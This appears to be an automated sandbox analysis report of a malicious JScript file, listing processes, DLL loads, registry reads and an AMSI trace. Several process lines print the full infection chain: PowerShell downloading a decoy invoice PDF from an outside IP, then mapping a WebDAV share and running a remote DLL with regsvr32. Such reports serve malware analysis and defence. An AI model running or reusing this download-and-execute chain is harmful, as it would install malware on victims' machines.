Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1668:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1lmpmtfo.nos.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2486775641261320080.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1684,i,14807154693622570894,10960876734372466403,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1684,i,14807154693622570894,10960876734372466403,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3821.js.csv");ITextStream.WriteLine(" entry:7828 f:knabhjphz");ITextStream.WriteLine(" exec:2 f:knabhjphz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
